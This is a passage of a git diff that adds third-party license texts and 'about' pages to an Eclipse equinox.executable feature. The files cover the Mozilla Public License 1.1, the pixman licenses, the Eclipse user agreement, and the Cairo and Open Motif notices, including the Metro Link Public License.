THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU. + +10. U.S. GOVERNMENT END USERS. + + The Covered Code is a "commercial item," as that term is defined in + 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer + software" and "commercial computer software documentation," as such + terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 + C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), + all U.S. Government End Users acquire Covered Code with only those + rights set forth herein. + +11. MISCELLANEOUS. + + This License represents the complete agreement concerning subject + matter hereof. If any provision of this License is held to be + unenforceable, such provision shall be reformed only to the extent + necessary to make it enforceable. This License shall be governed by + California law provisions (except to the extent applicable law, if + any, provides otherwise), excluding its conflict-of-law provisions. + With respect to disputes in which at least one party is a citizen of, + or an entity chartered or registered to do business in the United + States of America, any litigation relating to this License shall be + subject to the jurisdiction of the Federal Courts of the Northern + District of California, with venue lying in Santa Clara County, + California, with the losing party responsible for costs, including + without limitation, court costs and reasonable attorneys' fees and + expenses. The application of the United Nations Convention on + Contracts for the International Sale of Goods is expressly excluded. + Any law or regulation which provides that the language of a contract + shall be construed against the drafter shall not apply to this + License. + +12. RESPONSIBILITY FOR CLAIMS. + + As between Initial Developer and the Contributors, each party is + responsible for claims and damages arising, directly or indirectly, + out of its utilization of rights under this License and You agree to + work with Initial Developer and Contributors to distribute such + responsibility on an equitable basis. Nothing herein is intended or + shall be deemed to constitute any admission of liability. + +13. MULTIPLE-LICENSED CODE. + + Initial Developer may designate portions of the Covered Code as + "Multiple-Licensed". "Multiple-Licensed" means that the Initial + Developer permits you to utilize portions of the Covered Code under + Your choice of the NPL or the alternative licenses, if any, specified + by the Initial Developer in the file described in Exhibit A. + +EXHIBIT A -Mozilla Public License. + + ``The contents of this file are subject to the Mozilla Public License + Version 1.1 (the "License"); you may not use this file except in + compliance with the License. You may obtain a copy of the License at + http://www.mozilla.org/MPL/ + + Software distributed under the License is distributed on an "AS IS" + basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the + License for the specific language governing rights and limitations + under the License. + + The Original Code is ______________________________________. + + The Initial Developer of the Original Code is ________________________. + Portions created by ______________________ are Copyright (C) ______ + _______________________. All Rights Reserved. + + Contributor(s): ______________________________________. + + Alternatively, the contents of this file may be used under the terms + of the _____ license (the "[___] License"), in which case the + provisions of [______] License are applicable instead of those + above. If you wish to allow use of your version of this file only + under the terms of the [____] License and not to allow others to use + your version of this file under the MPL, indicate your decision by + deleting the provisions above and replace them with the notice and + other provisions required by the [___] License. If you do not delete + the provisions above, a recipient may use your version of this file + under either the MPL or the [___] License." + + [NOTE: The text of this Exhibit A may differ slightly from the text of + the notices in the Source Code files of the Original Code. You should + use the text of this Exhibit A rather than the text found in the + Original Code Source Code for Your Modifications.] + diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about_files/pixman-licenses.txt b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about_files/pixman-licenses.txt new file mode 100755 index 0000000..5d8dca6 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/gtk_root/about_files/pixman-licenses.txt @@ -0,0 +1,92 @@ +libpixregion + +Copyright 1987, 1998 The Open Group + +Permission to use, copy, modify, distribute, and sell this software and its +documentation for any purpose is hereby granted without fee, provided that +the above copyright notice appear in all copies and that both that +copyright notice and this permission notice appear in supporting +documentation. + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN +AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +Except as contained in this notice, the name of The Open Group shall not be +used in advertising or otherwise to promote the sale, use or other dealings +in this Software without prior written authorization from The Open Group. + + +Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts. + + All Rights Reserved + +Permission to use, copy, modify, and distribute this software and its +documentation for any purpose and without fee is hereby granted, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Digital not be +used in advertising or publicity pertaining to distribution of the +software without specific, written prior permission. + +DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING +ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL +DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR +ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS +SOFTWARE. + +---------------------------------------------------------------------- +libic + +Copyright © 2001 Keith Packard + +Permission to use, copy, modify, distribute, and sell this software and its +documentation for any purpose is hereby granted without fee, provided that +the above copyright notice appear in all copies and that both that +copyright notice and this permission notice appear in supporting +documentation, and that the name of Keith Packard not be used in +advertising or publicity pertaining to distribution of the software without +specific, written prior permission. Keith Packard makes no +representations about the suitability of this software for any purpose. It +is provided "as is" without express or implied warranty. + +KEITH PACKARD DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, +INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO +EVENT SHALL KEITH PACKARD BE LIABLE FOR ANY SPECIAL, INDIRECT OR +CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, +DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER +TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. + +---------------------------------------------------------------------- +slim + +slim is Copyright © 2003 Richard Henderson + +Permission to use, copy, modify, distribute, and sell this software +and its documentation for any purpose is hereby granted without fee, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Richard Henderson not be +used in advertising or publicity pertaining to distribution of the +software without specific, written prior permission. Richard Henderson +makes no representations about the suitability of this software for +any purpose. It is provided "as is" without express or implied +warranty. + +RICHARD HENDERSON DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, +INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO +EVENT SHALL RICHARD HENDERSON BE LIABLE FOR ANY SPECIAL, INDIRECT OR +CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF +USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. + diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/license.html b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/license.html new file mode 100755 index 0000000..f19c483 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/license.html @@ -0,0 +1,108 @@ + + + + + +Eclipse Foundation Software User Agreement + + + +

    Eclipse Foundation Software User Agreement

    +

    February 1, 2011

    + +

    Usage Of Content

    + +

    THE ECLIPSE FOUNDATION MAKES AVAILABLE SOFTWARE, DOCUMENTATION, INFORMATION AND/OR OTHER MATERIALS FOR OPEN SOURCE PROJECTS + (COLLECTIVELY "CONTENT"). USE OF THE CONTENT IS GOVERNED BY THE TERMS AND CONDITIONS OF THIS AGREEMENT AND/OR THE TERMS AND + CONDITIONS OF LICENSE AGREEMENTS OR NOTICES INDICATED OR REFERENCED BELOW. BY USING THE CONTENT, YOU AGREE THAT YOUR USE + OF THE CONTENT IS GOVERNED BY THIS AGREEMENT AND/OR THE TERMS AND CONDITIONS OF ANY APPLICABLE LICENSE AGREEMENTS OR + NOTICES INDICATED OR REFERENCED BELOW. IF YOU DO NOT AGREE TO THE TERMS AND CONDITIONS OF THIS AGREEMENT AND THE TERMS AND + CONDITIONS OF ANY APPLICABLE LICENSE AGREEMENTS OR NOTICES INDICATED OR REFERENCED BELOW, THEN YOU MAY NOT USE THE CONTENT.

    + +

    Applicable Licenses

    + +

    Unless otherwise indicated, all Content made available by the Eclipse Foundation is provided to you under the terms and conditions of the Eclipse Public License Version 1.0 + ("EPL"). A copy of the EPL is provided with this Content and is also available at http://www.eclipse.org/legal/epl-v10.html. + For purposes of the EPL, "Program" will mean the Content.

    + +

    Content includes, but is not limited to, source code, object code, documentation and other files maintained in the Eclipse Foundation source code + repository ("Repository") in software modules ("Modules") and made available as downloadable archives ("Downloads").

    + +
      +
    • Content may be structured and packaged into modules to facilitate delivering, extending, and upgrading the Content. Typical modules may include plug-ins ("Plug-ins"), plug-in fragments ("Fragments"), and features ("Features").
    • +
    • Each Plug-in or Fragment may be packaged as a sub-directory or JAR (Java™ ARchive) in a directory named "plugins".
    • +
    • A Feature is a bundle of one or more Plug-ins and/or Fragments and associated material. Each Feature may be packaged as a sub-directory in a directory named "features". Within a Feature, files named "feature.xml" may contain a list of the names and version numbers of the Plug-ins + and/or Fragments associated with that Feature.
    • +
    • Features may also include other Features ("Included Features"). Within a Feature, files named "feature.xml" may contain a list of the names and version numbers of Included Features.
    • +
    + +

    The terms and conditions governing Plug-ins and Fragments should be contained in files named "about.html" ("Abouts"). The terms and conditions governing Features and +Included Features should be contained in files named "license.html" ("Feature Licenses"). Abouts and Feature Licenses may be located in any directory of a Download or Module +including, but not limited to the following locations:

    + +
      +
    • The top-level (root) directory
    • +
    • Plug-in and Fragment directories
    • +
    • Inside Plug-ins and Fragments packaged as JARs
    • +
    • Sub-directories of the directory named "src" of certain Plug-ins
    • +
    • Feature directories
    • +
    + +

    Note: if a Feature made available by the Eclipse Foundation is installed using the Provisioning Technology (as defined below), you must agree to a license ("Feature Update License") during the +installation process. If the Feature contains Included Features, the Feature Update License should either provide you with the terms and conditions governing the Included Features or +inform you where you can locate them. Feature Update Licenses may be found in the "license" property of files named "feature.properties" found within a Feature. +Such Abouts, Feature Licenses, and Feature Update Licenses contain the terms and conditions (or references to such terms and conditions) that govern your use of the associated Content in +that directory.

    + +

    THE ABOUTS, FEATURE LICENSES, AND FEATURE UPDATE LICENSES MAY REFER TO THE EPL OR OTHER LICENSE AGREEMENTS, NOTICES OR TERMS AND CONDITIONS. SOME OF THESE +OTHER LICENSE AGREEMENTS MAY INCLUDE (BUT ARE NOT LIMITED TO):

    + + + +

    IT IS YOUR OBLIGATION TO READ AND ACCEPT ALL SUCH TERMS AND CONDITIONS PRIOR TO USE OF THE CONTENT. If no About, Feature License, or Feature Update License is provided, please +contact the Eclipse Foundation to determine what terms and conditions govern that particular Content.

    + + +

    Use of Provisioning Technology

    + +

    The Eclipse Foundation makes available provisioning software, examples of which include, but are not limited to, p2 and the Eclipse + Update Manager ("Provisioning Technology") for the purpose of allowing users to install software, documentation, information and/or + other materials (collectively "Installable Software"). This capability is provided with the intent of allowing such users to + install, extend and update Eclipse-based products. Information about packaging Installable Software is available at http://eclipse.org/equinox/p2/repository_packaging.html + ("Specification").

    + +

    You may use Provisioning Technology to allow other parties to install Installable Software. You shall be responsible for enabling the + applicable license agreements relating to the Installable Software to be presented to, and accepted by, the users of the Provisioning Technology + in accordance with the Specification. By using Provisioning Technology in such a manner and making it available in accordance with the + Specification, you further acknowledge your agreement to, and the acquisition of all necessary rights to permit the following:

    + +
      +
    1. A series of actions may occur ("Provisioning Process") in which a user may execute the Provisioning Technology + on a machine ("Target Machine") with the intent of installing, extending or updating the functionality of an Eclipse-based + product.
    2. +
    3. During the Provisioning Process, the Provisioning Technology may cause third party Installable Software or a portion thereof to be + accessed and copied to the Target Machine.
    4. +
    5. Pursuant to the Specification, you will provide to the user the terms and conditions that govern the use of the Installable + Software ("Installable Software Agreement") and such Installable Software Agreement shall be accessed from the Target + Machine in accordance with the Specification. Such Installable Software Agreement must inform the user of the terms and conditions that govern + the Installable Software and must solicit acceptance by the end user in the manner prescribed in such Installable Software Agreement. Upon such + indication of agreement by the user, the provisioning Technology will complete installation of the Installable Software.
    6. +
    + +

    Cryptography

    + +

    Content may contain encryption software. The country in which you are currently may have restrictions on the import, possession, and use, and/or re-export to + another country, of encryption software. BEFORE using any encryption software, please check the country's laws, regulations and policies concerning the import, + possession, or use, and re-export of encryption software, to see if this is permitted.

    + +

    Java and all Java-based trademarks are trademarks of Oracle Corporation in the United States, other countries, or both.

    + + diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about.html b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about.html new file mode 100755 index 0000000..9d2460a --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about.html @@ -0,0 +1,24 @@ + + + +About + + + +

    About This Content

    + +

    February 22, 2006

    +

    License

    + +

    This directory contains third-party libraries that are required by the Eclipse launcher. Refer below for further information.

    + +

    Cairo for Linux

    + +

    Refer to the file about_cairo.html for licensing details about "Cairo for Linux".

    + +

    Open Motif for Linux

    + +

    Refer to the file about_open_motif.html for licensing details about "Open Motif for Linux".

    + + + diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/about_cairo.html b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/about_cairo.html new file mode 100755 index 0000000..0132307 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/about_cairo.html @@ -0,0 +1,48 @@ + + + +About + + + +

    About This Content

    + +

    March 27, 2006

    +

    License

    + +

    The Eclipse Foundation has included the following package for your convenience:

    + +

    Cairo 1.0.2 for Linux

    + +

    Cairo for Linux ("Cairo") is developed by The Cairo Project (http://www.cairographics.org):

    + +

    Cairo is delivered in the following file ("Cairo Library"):

    +
      +
    • libcairo-swt.so
    • +
    + +

    which was compiled from Cairo source code available at http://www.cairographics.org/snapshots.

    + +

    Your use of the Cairo code in binary form is subject to +the terms and conditions of Mozilla Public License Version 1.1 ("MPL"). A copy of the MPL is provided (mpl-v11.txt) +and is also available at http://www.mozilla.org/MPL/MPL-1.1.html. + +

    pixman 0.1.6

    + +

    pixman ("pixman") is packaged within the Cairo Library and was compiled from source code available at +http://www.cairographics.org/snapshots. +pixman includes the following packages:

    + +
      +
    • libpixregion
    • +
    • libic
    • +
    • slim
    • +
    + +Your use of pixman is subject to the terms and conditions of the licenses in pixman-licenses.txt.

    + +

    If you did not receive the Cairo Library directly from the Eclipse Foundation, the package is being redistributed by another party ("Redistributor") and different terms and conditions may +apply its use. Check the Redistributor's license that was provided with the content. If no such license exists, contact the Redistributor.

    + + + \ No newline at end of file diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/about_open_motif.html b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/about_open_motif.html new file mode 100755 index 0000000..2862520 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/about_open_motif.html @@ -0,0 +1,38 @@ + + + +About + + + +

    About This Content

    + +

    June 20, 2005

    +

    License

    + +

    The Eclipse Foundation has included the following package for your convenience:

    + +

    Open Motif for Linux 2.1.30 Release 4

    + +

    Open Motif for Linux ("Open Motif") is developed by Metro Link as part of The Open Motif project. Open Motif is:

    + +
    + Copyright (C) May, 2000 The Open Group, Metro Link, Incorporated and others. All Rights Reserved +
    + +

    Open Motif includes the following files:

    +
      +
    • libXm.so.2
    • +
    + +

    Open Motif is not considered part of the content provided by the Eclipse Foundation. Your use of the Open Motif code in binary form is subject to +the terms and conditions of Metro Link Public License 1.00 ("MLPL"). A copy of the MLPL is provided (mlpl-v10.html) +and is also available at http://www.opengroup.org/openmotif/supporters/metrolink/license.html.

    + +

    Source code for Open Motif is available at http://www.opengroup.org/openmotif/supporters/metrolink/.

    + +

    If you did not receive Open Motif directly from the Eclipse Foundation, the package is being redistributed by another party ("Redistributor") and different terms and conditions may +apply its use. Check the Redistributor's license that was provided with the content. If no such license exists, contact the Redistributor.

    + + + \ No newline at end of file diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/mlpl-v10.html b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/mlpl-v10.html new file mode 100755 index 0000000..5c692a5 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/mlpl-v10.html @@ -0,0 +1,401 @@ + + +Metro Link Open Motif License + + + + + + + +
    +

    METRO LINK PUBLIC LICENSE +
    MOTIF GRAPHICAL USER INTERFACE SOFTWARE
    Version 1.00

    +

     

    +

     

    +

    THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS +METRO LINK PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION +OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT.

    +

    1. DEFINITIONS

    +

    "Contribution" means:

    +

     

    +
      +
    1. in + the case of METRO LINK, INCORPORATED ("METRO LINK"), the Metro Link Program, + and
    +

     

    +
      +
    1. in + the case of each Contributor,
    +

     

    +
      +
        +
      1. changes + to the Program, and +
      2. additions + to the Program;
    +

     

    +

    where such +changes and/or additions to the Program originate from and are distributed by +that particular Contributor. A Contribution 'originates' from a Contributor if +it was added to the Program by such Contributor itself or anyone acting on such +Contributor's behalf. Contributions do not include additions to the Program +which: (i) are separate modules of software distributed in conjunction with the +Program under their own license agreement, and (ii) are not derivative works of +the Program.

    +

     

    +

    "Contributor" means The Open Group, METRO LINK and any other +entity that distributes the Program.

    +

     

    +

    "Licensed Patents" mean patent claims licensable by a +Contributor which are necessarily infringed by the use or sale of its +Contribution alone or when combined with the Program.

    +

     

    +

    "Open Source"  +programs mean software for the source code is available without +confidential or trade secret restrictions and for which  the source code and object code are +available for distribution without license charges.

    +

     

    +

    "Metro Link Program" means the original version of the +software accompanying this Agreement as released by METRO LINK, including source +code, object code and documentation, if any.

    +

     

    +

    "Program" means the Metro Link Program and Contributions. +

    +

     

    +

    "Recipient" means anyone who receives the Program under this +Agreement, including all Contributors.

    +

     

    +

    2.     +GRANT OF RIGHTS

    +

     

    +

    The rights granted under this license are limited solely to +distribution and sublicensing of the Contribution(s) on, with or  for operating systems which are +themselves Open Source programs.

    +

     

    +
      +
    1. Subject + to the terms of this Agreement, The Open Group Public License Agreement + attached hereto (“The Open Group Agreement”) and  the limitations of this Section 2, + each Contributor hereby grants Recipient a non-exclusive, worldwide, + royalty-free copyright license to reproduce, prepare derivative works of, + publicly display, publicly perform, distribute and sublicense the Contribution + of such Contributor, if any, and such derivative works, in source code and + object code form.
    +

     

    +
      +
    1. Subject + to the terms of this Agreement, The Open Group Agreement and this Section 2, + each Contributor hereby grants Recipient a non-exclusive, worldwide, + royalty-free patent license under Licensed Patents to make, use, sell, offer + to sell, import and otherwise transfer the Contribution of such Contributor, + if any, in source code and object code form. This patent license shall apply + to the combination of the Contribution and the Program if, at the time the + Contribution is added by the Contributor, such addition of the Contribution + causes such combination to be covered by the Licensed Patents. The patent + license shall not apply to any other combinations which include the + Contribution. No hardware per se is licensed hereunder.
    +

     

    +

     

    +
      +
    1. Recipient + understands that although each Contributor grants the licenses to its + Contributions set forth herein, no assurances are provided by any Contributor + that the Program does not infringe the patent or other intellectual property + rights of any other entity. Each Contributor disclaims any liability to + Recipient for claims brought by any other entity based on infringement of + intellectual property rights or otherwise. As a condition to exercising the + rights and licenses granted hereunder, each Recipient hereby assumes sole + responsibility to secure any other intellectual property rights needed, if + any. For example, if a third party patent license is required to allow + Recipient to distribute the Program, it is Recipient's responsibility to + acquire that license before distributing the Program.
    +

     

    +
      +
    1. Each + Contributor represents that to its knowledge it has sufficient copyright + rights in its Contribution, if any, to grant the copyright license set forth + in this Agreement.
    +

     

    +

     

    +

    3. REQUIREMENTS

    +

    A Contributor may choose to distribute the Program in object +code form under its own license agreement, provided that:

    +
      +
    1. it + complies with the terms and conditions of this Agreement and The Open Group Agreement; and +
    +

     

    +
      +
    1. its + license agreement:
    +

     

    +

     

    +
      +
        +
      1. effectively + disclaims on behalf of all Contributors all warranties and conditions, + express and implied, including warranties or conditions of title and + non-infringement, and implied warranties or conditions of merchantability + and fitness for a particular purpose; +
      2. effectively + excludes on behalf of all Contributors all liability for damages, including + direct, indirect, special, incidental and consequential damages, such as + lost profits; +
      3. states + that any provisions which differ from this Agreement are offered by that + Contributor alone and not by any other party; and +
      4. states + that source code for the Program is available from such Contributor, and + informs licensees how to obtain it in a reasonable manner on or through a + medium customarily used for software exchange.
    +

     

    +

    When the Program is made available in source code form:

    +
      +
    1. it + must be made available under this Agreement and the Open Group Agreement; and +
    +

     

    +
      +
    1. a + copy of this Agreement must be included with each copy of the Program. +
    +

     

    +

     

    +

    Each Contributor must include the following in a conspicuous +location in the Program:

    +

    Copyright (C) May, 2000 The Open Group, Metro Link, +Incorporated and others. All Rights Reserved

    +

     

    +

    In addition, each Contributor must identify itself as the +originator of its Contribution, if any, in a manner that reasonably allows +subsequent Recipients to identify the originator of the Contribution.

    +

    4. COMMERCIAL DISTRIBUTION

    +

    Commercial distributors of software may accept certain +responsibilities with respect to end users, business partners and the like. +While this license is intended to facilitate the commercial use of the Program, +the Contributor who includes the Program in a commercial product offering should +do so in a manner which does not create potential liability for other +Contributors. Therefore, if a Contributor includes the Program in a commercial +product offering, such Contributor ("Commercial Contributor") hereby agrees to +defend and indemnify every other Contributor ("Indemnified Contributor") against +any losses, damages and costs (collectively "Losses") arising from claims, +lawsuits and other legal actions brought by a third party against the +Indemnified Contributor to the extent caused by the acts or omissions of such +Commercial Contributor in connection with its distribution of the Program in a +commercial product offering. The obligations in this section do not apply to any +claims or Losses relating to any actual or alleged intellectual property +infringement. In order to qualify, an Indemnified Contributor must:

    +

     

    +

    a)       promptly notify the Commercial Contributor in writing of such +claim, and

    +

     

    +

    b)       allow the Commercial Contributor to control, and cooperate with +the Commercial Contributor in, the defense and any related settlement +negotiations.

    +

     

    +

    The Indemnified Contributor may participate in any such claim +at its own expense.

    +

    For example, a Contributor might include the Program in a +commercial product offering, Product X. That Contributor is then a Commercial +Contributor. If that Commercial Contributor then makes performance claims, or +offers warranties related to Product X, those performance claims and warranties +are such Commercial Contributor's responsibility alone. Under this section, the +Commercial Contributor would have to defend claims against the other +Contributors related to those performance claims and warranties, and if a court +requires any other Contributor to pay any damages as a result, the Commercial +Contributor must pay those damages.

    +

    5. NO WARRANTY

    +

    EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM +IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, +EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR +CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A +PARTICULAR PURPOSE. Each Recipient is solely responsible for determining the +appropriateness of using and distributing the Program and assumes all risks +associated with its exercise of rights under this Agreement, including but not +limited to the risks and costs of program errors, compliance with applicable +laws, damage to or loss of data, programs or equipment, and unavailability or +interruption of operations.

    +

    6. DISCLAIMER OF LIABILITY

    +

    EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER +RECIPIENT NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING +WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR +THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY +OF SUCH DAMAGES.

    +

    7. GENERAL

    +

    If any provision of this Agreement is invalid or +unenforceable under applicable law, it shall not affect the validity or +enforceability of the remainder of the terms of this Agreement, and without +further action by the parties hereto, such provision shall be reformed to the +minimum extent necessary to make such provision valid and enforceable.

    +

     

    +

    If Recipient institutes patent litigation against a +Contributor with respect to a patent applicable to software (including a +cross-claim or counterclaim in a lawsuit), then any patent licenses granted by +that Contributor to such Recipient under this Agreement shall terminate as of +the date such litigation is filed. In addition, if Recipient institutes patent +litigation against any entity (including a cross-claim or counterclaim in a +lawsuit) alleging that the Program itself (excluding combinations of the Program +with other software or hardware) infringes such Recipient's patent(s), then such +Recipient's rights granted under Section 2(b) shall terminate as of the date +such litigation is filed.

    +

     

    +

    All Recipient's rights under this Agreement shall terminate +if it fails to comply with any of the material terms or conditions of this +Agreement and does not cure such failure in a reasonable period of time after +becoming aware of such noncompliance. If all Recipient's rights under this +Agreement terminate, Recipient agrees to cease use and distribution of the +Program as soon as reasonably practicable. However, Recipient's obligations +under this Agreement and any licenses granted by Recipient relating to the +Program shall continue and survive.

    +

     

    +

    METRO LINK may publish new versions (including revisions) of +this Agreement from time to time. Each new version of the Agreement will be +given a distinguishing version number. The Program (including Contributions) may +always be distributed subject to the version of the Agreement under which it was +received. In addition, after a new version of the Agreement is published, +Contributor may elect to distribute the Program (including its Contributions) +under the new version. No one other than METRO LINK has the right to modify this +Agreement. Except as expressly stated in Sections 2(a) and 2(b) above, Recipient +receives no rights or licenses to the intellectual property of any Contributor +under this Agreement, whether expressly, by implication, estoppel or otherwise. +All rights in the Program not expressly granted under this Agreement are +reserved.

    +

     

    +

    This Agreement is governed by the laws of the State of +Florida and the intellectual property laws of the United States of America.

    +

     

    +

    No party to this Agreement will bring a legal action under +this Agreement more than one year after the cause of action arose. Each party +waives its rights to a jury trial in any resulting litigation.

    +

     

    diff --git a/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/mpl-v11.txt b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/mpl-v11.txt new file mode 100755 index 0000000..7714141 --- /dev/null +++ b/targetPlatform/features/org.eclipse.equinox.executable_3.5.1.v20111216-1653-7P7NFUIFIbaUcU77s0KQWHw5HZTZ/motif_root/about_files/mpl-v11.txt @@ -0,0 +1,470 @@ + MOZILLA PUBLIC LICENSE + Version 1.1 + + --------------- + +1. Definitions. + + 1.0.1. "Commercial Use" means distribution or otherwise making the + Covered Code available to a third party. + + 1.1. "Contributor" means each entity that creates or contributes to + the creation of Modifications. + + 1.2. "Contributor Version" means the combination of the Original + Code, prior Modifications used by a Contributor, and the Modifications + made by that particular Contributor. + + 1.3. "Covered Code" means the Original Code or Modifications or the + combination of the Original Code and Modifications, in each case + including portions thereof. + + 1.4. "Electronic Distribution Mechanism" means a mechanism generally + accepted in the software development community for the electronic + transfer of data. + + 1.5. "Executable" means Covered Code in any form other than Source + Code. + + 1.6. "Initial Developer" means the individual or entity identified + as the Initial Developer in the Source Code notice required by Exhibit + A. + + 1.7. "Larger Work" means a work which combines Covered Code or + portions thereof with code not governed by the terms of this License. + + 1.8. "License" means this document. + + 1.8.1. "Licensable" means having the right to grant, to the maximum + extent possible, whether at the time of the initial grant or + subsequently acquired, any and all of the rights conveyed herein. + + 1.9. "Modifications" means any addition to or deletion from the + substance or structure of either the Original Code or any previous + Modifications. When Covered Code is released as a series of files, a + Modification is: + A. Any addition to or deletion from the contents of a file + containing Original Code or previous Modifications. + + B. Any new file that contains any part of the Original Code or + previous Modifications. + + 1.10. "Original Code" means Source Code of computer software code + which is described in the Source Code notice required by Exhibit A as + Original Code, and which, at the time of its release under this + License is not already Covered Code governed by this License. + + 1.10.1. "Patent Claims" means any patent claim(s), now owned or + hereafter acquired, including without limitation, method, process, + and 